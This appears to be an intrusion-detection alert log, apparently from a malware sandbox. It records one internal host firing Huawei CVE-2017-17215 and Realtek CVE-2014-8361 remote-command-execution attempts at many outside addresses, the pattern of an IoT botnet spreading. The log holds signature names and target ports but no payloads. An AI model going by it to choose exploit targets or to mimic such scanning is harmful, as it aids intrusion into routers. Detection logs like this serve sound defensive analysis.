Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.228.189

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	39514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 182.92.42.223

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	54602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.160.32.39

Timestamp:	07/20/24-23:11:06.689939
SID:	2829579
Source Port:	45446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.202.175.248

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	46288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.50.43.203

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	60626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.99.38.42

Timestamp:	07/20/24-23:10:39.438615
SID:	2835222
Source Port:	48166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.145.69.35

Timestamp:	07/20/24-23:10:52.564314
SID:	2829579
Source Port:	57518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.92.173.148

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	55730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 120.182.174.145

Timestamp:	07/20/24-23:10:51.940556
SID:	2027339
Source Port:	46112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.60.50.224

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	45196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.196.125.174

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	55708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.198.240.255

Timestamp:	07/20/24-23:10:39.493967
SID:	2829579
Source Port:	39416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.21.228

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	42154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.102.220.120

Timestamp:	07/20/24-23:10:52.521111
SID:	2835222
Source Port:	46958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.115.151.81

Timestamp:	07/20/24-23:10:39.783023
SID:	2027339
Source Port:	40676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 199.248.104.114

Timestamp:	07/20/24-23:10:51.928255
SID:	2831300
Source Port:	52786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 163.24.64.153

Timestamp:	07/20/24-23:10:51.955739
SID:	2027339
Source Port:	40260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.99.68.139

Timestamp:	07/20/24-23:10:52.571075
SID:	2835222
Source Port:	60290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.19.155

Timestamp:	07/20/24-23:11:06.646712
SID:	2835222
Source Port:	35602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.29.196.90

Timestamp:	07/20/24-23:10:41.223199
SID:	2829579
Source Port:	56412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 143.77.32.144

Timestamp:	07/20/24-23:10:39.190217
SID:	2027339
Source Port:	40426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 9.118.192.30

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	53362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.24.244.61

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	57978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 219.152.75.176

Timestamp:	07/20/24-23:10:42.621912
SID:	2027339
Source Port:	38156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 163.24.64.153

Timestamp:	07/20/24-23:10:44.624474
SID:	2025132
Source Port:	38818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.174.121.129

Timestamp:	07/20/24-23:10:52.029203
SID:	2027339
Source Port:	35110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.95.36.229

Timestamp:	07/20/24-23:10:51.983128
SID:	2027339
Source Port:	34926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.165.101.142

Timestamp:	07/20/24-23:10:52.581805
SID:	2829579
Source Port:	56466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 19.2.120.96

Timestamp:	07/20/24-23:10:39.066287
SID:	2027339
Source Port:	44182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.129.166.243

Timestamp:	07/20/24-23:11:03.396635
SID:	2835222
Source Port:	45724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 154.24.39.249

Timestamp:	07/20/24-23:10:44.218779
SID:	2025132
Source Port:	48182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.169.25.66

Timestamp:	07/20/24-23:10:51.900424
SID:	2027339
Source Port:	47478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.185.91.102

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	46580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.103.239.103

Timestamp:	07/20/24-23:10:39.430384
SID:	2829579
Source Port:	41284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.146.90.23

Timestamp:	07/20/24-23:10:39.106885
SID:	2027339
Source Port:	60776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 206.49.109.215

Timestamp:	07/20/24-23:10:42.661464
SID:	2831300
Source Port:	60874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.206.129.136

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	34500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.91.198.123

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	55858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.161.142

Timestamp:	07/20/24-23:10:41.231186
SID:	2835222
Source Port:	39992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.237.151.135

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	51824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 210.246.215.230

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	53286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 75.64.8.241

Timestamp:	07/20/24-23:10:51.995612
SID:	2027339
Source Port:	57520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 5.162.60.136

Timestamp:	07/20/24-23:10:39.096301
SID:	2027339
Source Port:	46692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.70.127.226

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	41732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 109.51.3.47

Timestamp:	07/20/24-23:10:40.374807
SID:	2025132
Source Port:	48182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 189.107.255.223

Timestamp:	07/20/24-23:10:42.630026
SID:	2831300
Source Port:	54654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 151.94.173.235

Timestamp:	07/20/24-23:10:40.054753
SID:	2027339
Source Port:	49796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 183.106.234.57

Timestamp:	07/20/24-23:10:52.033728
SID:	2831300
Source Port:	46466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.122.22.46

Timestamp:	07/20/24-23:10:41.224086
SID:	2835222
Source Port:	36266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.158.40.220

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.149.223

Timestamp:	07/20/24-23:10:56.046357
SID:	2835222
Source Port:	48932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.17.109.224

Timestamp:	07/20/24-23:11:06.689939
SID:	2835222
Source Port:	46648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.254.77

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	58000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.51.80.154

Timestamp:	07/20/24-23:10:52.571075
SID:	2835222
Source Port:	53658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.152.98.79

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	50176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 34.33.224.36

Timestamp:	07/20/24-23:10:51.940743
SID:	2831300
Source Port:	41188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 217.58.36.234

Timestamp:	07/20/24-23:10:42.621600
SID:	2831300
Source Port:	39290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 37.21.17.204

Timestamp:	07/20/24-23:10:42.625971
SID:	2027339
Source Port:	39152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.164.61.105

Timestamp:	07/20/24-23:11:06.689940
SID:	2829579
Source Port:	54716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.3.223

Timestamp:	07/20/24-23:10:42.250387
SID:	2829579
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.92.61.85

Timestamp:	07/20/24-23:10:41.237255
SID:	2835222
Source Port:	55846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.25.251.89

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	51452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.181.234.52

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	43966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 143.77.32.144

Timestamp:	07/20/24-23:10:42.621600
SID:	2831300
Source Port:	41120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.108.11.155

Timestamp:	07/20/24-23:10:51.961781
SID:	2027339
Source Port:	33582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 187.182.235.57

Timestamp:	07/20/24-23:10:39.955060
SID:	2027339
Source Port:	42578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 136.211.29.117

Timestamp:	07/20/24-23:10:44.523833
SID:	2025132
Source Port:	39432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.7.241.18

Timestamp:	07/20/24-23:10:49.404246
SID:	2829579
Source Port:	56658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 118.155.226.123

Timestamp:	07/20/24-23:10:43.071291
SID:	2025132
Source Port:	60056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 31.77.81.9

Timestamp:	07/20/24-23:10:44.251532
SID:	2027339
Source Port:	43946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.91.222.86

Timestamp:	07/20/24-23:10:47.633936
SID:	2027339
Source Port:	50034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.157.229.217

Timestamp:	07/20/24-23:10:49.288690
SID:	2835222
Source Port:	36534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 208.45.139.203

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	57328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.156.222.49

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	43032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 159.243.190.45

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	54524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.8.38

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	53948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.147.174.34

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	57408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.18.30

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	45884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.98.9

Timestamp:	07/20/24-23:10:41.221769
SID:	2829579
Source Port:	42326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 51.195.43.231

Timestamp:	07/20/24-23:10:45.058671
SID:	2025132
Source Port:	49738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.4.245.164

Timestamp:	07/20/24-23:10:46.735704
SID:	2835222
Source Port:	36416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.238.7.131

Timestamp:	07/20/24-23:10:52.521111
SID:	2835222
Source Port:	59510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.114.39

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	52366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.132.118

Timestamp:	07/20/24-23:10:41.241817
SID:	2835222
Source Port:	40196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 159.33.199.140

Timestamp:	07/20/24-23:10:46.735703
SID:	2829579
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.20.107.59

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 47.132.43.96

Timestamp:	07/20/24-23:10:47.861105
SID:	2025132
Source Port:	32866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.146.57.65

Timestamp:	07/20/24-23:11:06.689940
SID:	2829579
Source Port:	34716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.234.79.175

Timestamp:	07/20/24-23:10:41.221879
SID:	2835222
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 137.140.74.50

Timestamp:	07/20/24-23:10:51.915608
SID:	2027339
Source Port:	47234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.160.200.207

Timestamp:	07/20/24-23:10:39.497131
SID:	2835222
Source Port:	54880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.1.254.127

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	51582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.78.169.15

Timestamp:	07/20/24-23:10:39.148191
SID:	2027339
Source Port:	60590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.219.1.200

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	60866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.146.4

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 84.144.64.84

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	55600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.48.64.8

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	39720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 217.179.58.161

Timestamp:	07/20/24-23:10:43.566203
SID:	2025132
Source Port:	50488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.27.129.245

Timestamp:	07/20/24-23:10:59.032609
SID:	2835222
Source Port:	46860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 171.65.238.111

Timestamp:	07/20/24-23:10:52.007232
SID:	2831300
Source Port:	46358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 130.31.106.211

Timestamp:	07/20/24-23:10:51.937938
SID:	2831300
Source Port:	49240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

